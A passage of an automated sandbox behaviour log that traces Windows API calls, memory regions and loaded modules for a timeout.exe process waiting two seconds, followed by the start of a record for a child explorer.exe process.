"private_0x0000000000290000" filename = "" Region: id = 487 start_va = 0x3e0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 488 start_va = 0x75290000 end_va = 0x75298fff entry_point = 0x75290000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 489 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 490 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 491 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 492 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 493 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 494 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 495 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 496 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 497 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 498 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 499 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 500 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 501 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 502 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 503 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 504 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 505 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 506 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 507 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 508 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 509 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 510 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 511 start_va = 0x130000 end_va = 0x131fff entry_point = 0x130000 region_type = mapped_file name = "timeout.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\timeout.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\timeout.exe.mui") Region: id = 512 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 513 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 514 start_va = 0x580000 end_va = 0x700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 515 start_va = 0xbd0000 end_va = 0x1fcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 516 start_va = 0x710000 end_va = 0x9defff entry_point = 0x710000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 17 os_tid = 0x5a4 [0106.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23fdfc | out: lpSystemTimeAsFileTime=0x23fdfc*(dwLowDateTime=0xcd93c9e0, dwHighDateTime=0x1d46f95)) [0106.553] GetCurrentProcessId () returned 0x5f4 [0106.553] GetCurrentThreadId () returned 0x5a4 [0106.553] GetTickCount () returned 0x27915 [0106.554] QueryPerformanceCounter (in: lpPerformanceCount=0x23fdf4 | out: lpPerformanceCount=0x23fdf4*=1818125300000) returned 1 [0106.556] GetModuleHandleA (lpModuleName=0x0) returned 0xbc0000 [0106.556] __set_app_type (_Type=0x1) [0106.556] __p__fmode () returned 0x75ed31f4 [0106.556] __p__commode () returned 0x75ed31fc [0106.556] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xbc57c5) returned 0x0 [0106.556] __wgetmainargs (in: _Argc=0xbc7140, _Argv=0xbc7148, _Env=0xbc7144, _DoWildCard=0, _StartInfo=0xbc7154 | out: _Argc=0xbc7140, _Argv=0xbc7148, _Env=0xbc7144) returned 0 [0106.557] SetThreadUILanguage (LangId=0x0) returned 0x409 [0106.558] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0106.558] SetLastError (dwErrCode=0x0) [0106.558] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0106.558] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0106.558] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0106.558] VerifyVersionInfoW (in: lpVersionInformation=0x23f674, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x23f674) returned 1 [0106.558] lstrlenW (lpString="") returned 0 [0106.559] SetThreadUILanguage (LangId=0x0) returned 0x409 [0106.560] SetLastError (dwErrCode=0x0) [0106.560] _memicmp (_Buf1=0x29efb0, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.560] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2a5470, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe")) returned 0x1f [0106.560] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x76c [0106.561] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2a5680 | out: lpData=0x2a5680) returned 1 [0106.561] VerQueryValueW (in: pBlock=0x2a5680, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23f77c, puLen=0x23f780 | out: lplpBuffer=0x23f77c*=0x2a5a30, puLen=0x23f780) returned 1 [0106.563] _memicmp (_Buf1=0x29efb0, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.563] _vsnwprintf (in: _Buffer=0x2a5470, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23f764 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0106.563] VerQueryValueW (in: pBlock=0x2a5680, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23f78c, puLen=0x23f788 | out: lplpBuffer=0x23f78c*=0x2a5860, puLen=0x23f788) returned 1 [0106.563] lstrlenW (lpString="timeout.exe") returned 11 [0106.563] lstrlenW (lpString="timeout.exe") returned 11 [0106.563] lstrlenW (lpString=".EXE") returned 4 [0106.563] StrStrIW (lpFirst="timeout.exe", lpSrch=".EXE") returned=".exe" [0106.564] lstrlenW (lpString="timeout.exe") returned 11 [0106.564] lstrlenW (lpString=".EXE") returned 4 [0106.564] _memicmp (_Buf1=0x29efb0, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.564] lstrlenW (lpString="timeout") returned 7 [0106.564] _memicmp (_Buf1=0x29efc8, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.565] _memicmp (_Buf1=0x29efe0, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.565] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2a6130, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0106.565] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0106.565] _vsnwprintf (in: _Buffer=0x2a6088, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23f768 | out: _Buffer="Type \"TIMEOUT /?\" for usage.") returned 28 [0106.565] SetLastError (dwErrCode=0x0) [0106.566] GetThreadLocale () returned 0x409 [0106.566] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.566] lstrlenW (lpString="?") returned 1 [0106.566] GetThreadLocale () returned 0x409 [0106.566] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.566] GetThreadLocale () returned 0x409 [0106.566] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.566] lstrlenW (lpString="nobreak") returned 7 [0106.566] SetLastError (dwErrCode=0x0) [0106.566] SetLastError (dwErrCode=0x0) [0106.566] lstrlenW (lpString="2") returned 1 [0106.566] SetLastError (dwErrCode=0x490) [0106.566] SetLastError (dwErrCode=0x0) [0106.566] lstrlenW (lpString="2") returned 1 [0106.566] StrChrIW (lpStart="2", wMatch=0x3a) returned 0x0 [0106.566] SetLastError (dwErrCode=0x490) [0106.566] SetLastError (dwErrCode=0x0) [0106.566] _memicmp (_Buf1=0x2a5698, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.566] lstrlenW (lpString="2") returned 1 [0106.566] lstrlenW (lpString="2") returned 1 [0106.566] lstrlenW (lpString=" \x09") returned 2 [0106.566] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0106.566] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0106.566] GetLastError () returned 0x0 [0106.566] lstrlenW (lpString="2") returned 1 [0106.566] lstrlenW (lpString="2") returned 1 [0106.566] SetLastError (dwErrCode=0x0) [0106.566] _errno () returned 0x3e07d8 [0106.566] wcstol (in: _String="2", _EndPtr=0x23f990, _Radix=10 | out: _EndPtr=0x23f990*="") returned 2 [0106.567] lstrlenW (lpString="") returned 0 [0106.567] _errno () returned 0x3e07d8 [0106.567] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0106.567] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0106.567] GetFileType (hFile=0x3) returned 0x2 [0106.568] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x23f920 | out: lpMode=0x23f920) returned 1 [0106.568] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0106.568] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x23f99c | out: lpMode=0x23f99c) returned 1 [0106.568] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a1) returned 1 [0106.568] GetNumberOfConsoleInputEvents (in: hConsoleInput=0x3, lpNumberOfEvents=0x23f994 | out: lpNumberOfEvents=0x23f994) returned 1 [0106.576] FlushConsoleInputBuffer (hConsoleInput=0x3) returned 1 [0106.576] _memicmp (_Buf1=0x29efe0, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.577] LoadStringW (in: hInstance=0x0, uID=0x98, lpBuffer=0x2a6130, cchBufferMax=256 | out: lpBuffer="\nWaiting for %*lu") returned 0x11 [0106.577] lstrlenW (lpString="\nWaiting for %*lu") returned 17 [0106.577] _vsnwprintf (in: _Buffer=0x23fbac, _BufferCount=0xfd, _Format="\nWaiting for %*lu", _ArgList=0x23f924 | out: _Buffer="\nWaiting for 2") returned 14 [0106.578] __iob_func () returned 0x75ed2900 [0106.578] _fileno (_File=0x75ed2920) returned 1 [0106.578] _errno () returned 0x3e07d8 [0106.578] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.578] _errno () returned 0x3e07d8 [0106.578] GetFileType (hFile=0x7) returned 0x2 [0106.579] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.579] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x23f8ec | out: lpMode=0x23f8ec) returned 1 [0106.579] __iob_func () returned 0x75ed2900 [0106.579] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.579] lstrlenW (lpString="\nWaiting for 2") returned 14 [0106.579] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x23fbac*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0x23f914, lpReserved=0x0 | out: lpBuffer=0x23fbac*, lpNumberOfCharsWritten=0x23f914*=0xe) returned 1 [0106.580] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.580] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x23f938 | out: lpConsoleScreenBufferInfo=0x23f938) returned 1 [0106.580] _memicmp (_Buf1=0x29efe0, _Buf2=0xbc11e8, _Size=0x7) returned 0 [0106.580] LoadStringW (in: hInstance=0x0, uID=0xa0, lpBuffer=0x2a6130, cchBufferMax=256 | out: lpBuffer=" seconds, press a key to continue ...") returned 0x25 [0106.580] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0106.580] __iob_func () returned 0x75ed2900 [0106.580] _fileno (_File=0x75ed2920) returned 1 [0106.580] _errno () returned 0x3e07d8 [0106.580] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.580] _errno () returned 0x3e07d8 [0106.580] GetFileType (hFile=0x7) returned 0x2 [0106.581] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.581] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x23f8ec | out: lpMode=0x23f8ec) returned 1 [0106.581] __iob_func () returned 0x75ed2900 [0106.581] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.581] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0106.581] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x2a5ab0*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0x23f914, lpReserved=0x0 | out: lpBuffer=0x2a5ab0*, lpNumberOfCharsWritten=0x23f914*=0x25) returned 1 [0106.581] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0106.582] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0106.582] Sleep (dwMilliseconds=0x64) [0106.695] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0106.695] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0106.695] Sleep (dwMilliseconds=0x64) [0106.824] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0106.824] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0106.824] Sleep (dwMilliseconds=0x64) [0106.944] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0106.944] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0106.944] Sleep (dwMilliseconds=0x64) [0107.053] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.054] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0107.054] Sleep (dwMilliseconds=0x64) [0107.162] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.163] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0107.163] Sleep (dwMilliseconds=0x64) [0107.272] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.272] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0107.272] Sleep (dwMilliseconds=0x64) [0107.381] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.381] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0107.381] Sleep (dwMilliseconds=0x64) [0107.491] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.491] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca5 [0107.491] Sleep (dwMilliseconds=0x64) [0107.599] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.600] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0107.600] _vsnwprintf (in: _Buffer=0x23fbac, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x23f920 | out: _Buffer="\x081") returned 2 [0107.600] SetConsoleCursorPosition (hConsoleOutput=0x7, dwCursorPosition=0x1000d) returned 1 [0107.600] __iob_func () returned 0x75ed2900 [0107.600] _fileno (_File=0x75ed2920) returned 1 [0107.600] _errno () returned 0x3e07d8 [0107.600] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.600] _errno () returned 0x3e07d8 [0107.600] GetFileType (hFile=0x7) returned 0x2 [0107.600] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.600] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x23f8ec | out: lpMode=0x23f8ec) returned 1 [0107.601] __iob_func () returned 0x75ed2900 [0107.601] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.601] lstrlenW (lpString="\x081") returned 2 [0107.601] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x23fbac*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x23f914, lpReserved=0x0 | out: lpBuffer=0x23fbac*, lpNumberOfCharsWritten=0x23f914*=0x2) returned 1 [0107.601] Sleep (dwMilliseconds=0x64) [0107.712] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.713] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0107.713] Sleep (dwMilliseconds=0x64) [0107.818] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.818] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0107.818] Sleep (dwMilliseconds=0x64) [0107.927] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0107.927] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0107.927] Sleep (dwMilliseconds=0x64) [0108.036] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0108.036] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0108.036] Sleep (dwMilliseconds=0x64) [0108.166] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0108.166] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0108.166] Sleep (dwMilliseconds=0x64) [0108.271] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0108.271] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0108.271] Sleep (dwMilliseconds=0x64) [0108.379] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0108.379] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0108.379] Sleep (dwMilliseconds=0x64) [0108.489] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0108.489] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca6 [0108.489] Sleep (dwMilliseconds=0x64) [0108.598] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x23f950, nLength=0x2, lpNumberOfEventsRead=0x23f994 | out: lpBuffer=0x23f950, lpNumberOfEventsRead=0x23f994) returned 1 [0108.599] time (in: timer=0x23f9ac | out: timer=0x23f9ac) returned 0x5bd71ca7 [0108.599] _vsnwprintf (in: _Buffer=0x23fbac, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x23f920 | out: _Buffer="\x080") returned 2 [0108.599] SetConsoleCursorPosition (hConsoleOutput=0x7, dwCursorPosition=0x1000d) returned 1 [0108.599] __iob_func () returned 0x75ed2900 [0108.599] _fileno (_File=0x75ed2920) returned 1 [0108.599] _errno () returned 0x3e07d8 [0108.599] _get_osfhandle (_FileHandle=1) returned 0x7 [0108.599] _errno () returned 0x3e07d8 [0108.599] GetFileType (hFile=0x7) returned 0x2 [0108.599] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0108.599] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x23f8ec | out: lpMode=0x23f8ec) returned 1 [0108.599] __iob_func () returned 0x75ed2900 [0108.599] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0108.599] lstrlenW (lpString="\x080") returned 2 [0108.599] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x23fbac*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x23f914, lpReserved=0x0 | out: lpBuffer=0x23fbac*, lpNumberOfCharsWritten=0x23f914*=0x2) returned 1 [0108.600] Sleep (dwMilliseconds=0x64) [0108.707] __iob_func () returned 0x75ed2900 [0108.707] _fileno (_File=0x75ed2920) returned 1 [0108.707] _errno () returned 0x3e07d8 [0108.707] _get_osfhandle (_FileHandle=1) returned 0x7 [0108.707] _errno () returned 0x3e07d8 [0108.707] GetFileType (hFile=0x7) returned 0x2 [0108.708] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0108.708] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x23f8ec | out: lpMode=0x23f8ec) returned 1 [0108.708] __iob_func () returned 0x75ed2900 [0108.708] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0108.708] lstrlenW (lpString="\n") returned 1 [0108.708] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xbc11c8*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x23f914, lpReserved=0x0 | out: lpBuffer=0xbc11c8*, lpNumberOfCharsWritten=0x23f914*=0x1) returned 1 [0108.715] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0108.715] exit (_Code=0) Process: id = "4" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x5e029000" os_pid = "0x5cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x5c4" cmd_line = "explorer " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 517 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 518 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 519 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 520 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 521 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 522 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 523 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 524 start_va = 0x540000 end_va = 0x7c0fff entry_point = 0x540000 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe") Region: id = 525 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 526 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 527 start_va = 0x7efb0000 